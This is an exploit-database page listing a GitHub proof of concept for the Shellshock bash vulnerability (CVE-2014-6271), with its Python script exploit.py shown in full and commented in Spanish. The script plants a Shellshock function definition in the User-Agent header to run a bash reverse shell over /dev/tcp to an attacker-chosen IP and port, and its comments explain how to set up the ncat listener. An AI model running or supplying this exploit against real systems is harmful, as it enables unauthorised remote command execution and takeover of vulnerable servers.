Exploit database

GH-04e08606c50a84c1ffde1a93d45de506

therealciscoo/shellshock-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2014-6271

128 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
therealciscoo/shellshock-pocRevision 5eaef5e071f5

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 1,752 bytes
#!/usr/bin/python3


"""
Este exploit abusa de la vulnerabilidad Shellshock (CVE-2014-6271)
que afecta a las versiones desde la 1.14 hasta la 4.3. El siguiente script
abusa de la cabecera User-Agent para ejecutar una reverse shell en la máquina
objetivo.

NOTA: Debe ponerse en escucha con NetCat con el siguiente comando antes de ejecutar el script:

ncat -lkvnp <attacker-port>

"""


import argparse
import requests as req

# Lista de argumentos aceptados
parser = argparse.ArgumentParser()
parser.add_argument("--target", "-t", help="Especifica la IP del objetivo.")
parser.add_argument("--uri", "-u", help="Especifica la ruta a testear")
parser.add_argument("--attacker", "-a", help="Especifica la IP del atacante donde se recibirá la reverse shell.")
parser.add_argument("--port", "-p", help="Especifica el puerto que recibirá la reverse shell.")
parser.add_argument("--https", "-s", help="Especifica si se aplica el protocolo HTTPS. (Default: false)")
args = parser.parse_args()

# Validación de argumentos requeridos
if not args.target or not args.uri or not args.attacker or not args.port:
    
    print("[X] USO: python3 ./exploit.py -t <target-ip:str> -u <uri:str> -a <attacker-ip:str> -p <port:int>")
    exit(1)


# Preparación de la carga util
payload = f'/bin/bash -i>&/dev/tcp/{args.attacker}/{args.port} 0>&1'
headers = {
    'User-Agent' : "() { :; }; echo; /bin/bash -c " + payload
}

# Validando use del protocolo HTTPS
protocol = "http"
if args.https:
    protocol = "https"

# Petición HTTP a ruta vulnerable con header malicioso
res = req.get(f'{protocol}://{args.target}/{args.uri}', headers=headers)

if res.status_code == 200:
    print("Ejecución completada")
else:
    print("Ha ocurrido un error en la peticion")